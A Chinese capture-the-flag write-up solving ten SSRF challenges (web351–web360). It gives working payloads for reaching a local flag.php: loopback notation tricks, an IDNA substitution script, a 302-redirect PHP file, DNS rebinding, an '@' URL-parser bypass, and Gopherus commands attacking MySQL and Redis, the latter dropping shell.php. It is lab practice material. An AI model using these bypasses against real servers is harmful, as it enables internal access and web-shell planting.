出了前八道题,因为题目上的比较匆忙,提前做下就当测试题目了。
web351
存在一个flag.php页面,访问会返回不是本地用户的消息,那肯定是要让我们以本地用户去访问127.0.0.1/flag.php
payload:url=http://127.0.0.1/flag.php
web352
过滤了localhost和127.0.0。还是有很多方法的,比如127.0.1 、127.1、 127。0.0.1 或者转成16进制 2进制
转进制的地址https://tool.520101.com/wangluo/jinzhizhuanhuan/
web353
进制转换或者127.1都可以
web354
预期解是利用下面的脚本去替换localhost中的字符
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass
比如用a左边的字符去替换a最终就是locⒶhlhost
但是不知道为什么服务器不支持,用了一种比较偏的方法,修改自己域名的a记录,改成127.0.0.1
payload:http://域名/flag.php
web355
要求长度小于5那直接http://127.1/flag.php就可以了。
payload http://127.1/flag.php
web356
要求长度小于3
payload:http://0/flag.php
0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0
web357
利用302跳转和dns重绑定都可以。
1、在自己服务器上写个a.php文件内容如下
<?php
header("Location:http://127.0.0.1/flag.php");
然后payload写自己的这个地址就可以了。
payload:http://xxx/a.php
2、在这个网站注册一个账号http://ceye.io/
,然后会给你分配一个域名,修改成如下的内容,第一个随便天填,第二个写
然后payload:http://r.xxxxxx/flag.php
xxx为分给你的域名
多少几次就可以了
具体原理可以看下大佬写的文章https://zhuanlan.zhihu.com/p/89426041
web358
正则表达式的意思是以http://ctf.开头,以show结尾。
payload:http://ctf.@127.0.0.1/flag.php?show
web359
工具下载地址https://github.com/tarunkant/Gopherus
python gopherus.py --exploit mysql
然后传到check.php中post: returl=xxxxx,但是不要忘了把下划线后面的内容url编码一次。
web360
python gopherus.py --exploit redis
操作方法和上面一样不要忘记编码。工具默认是生成shell.php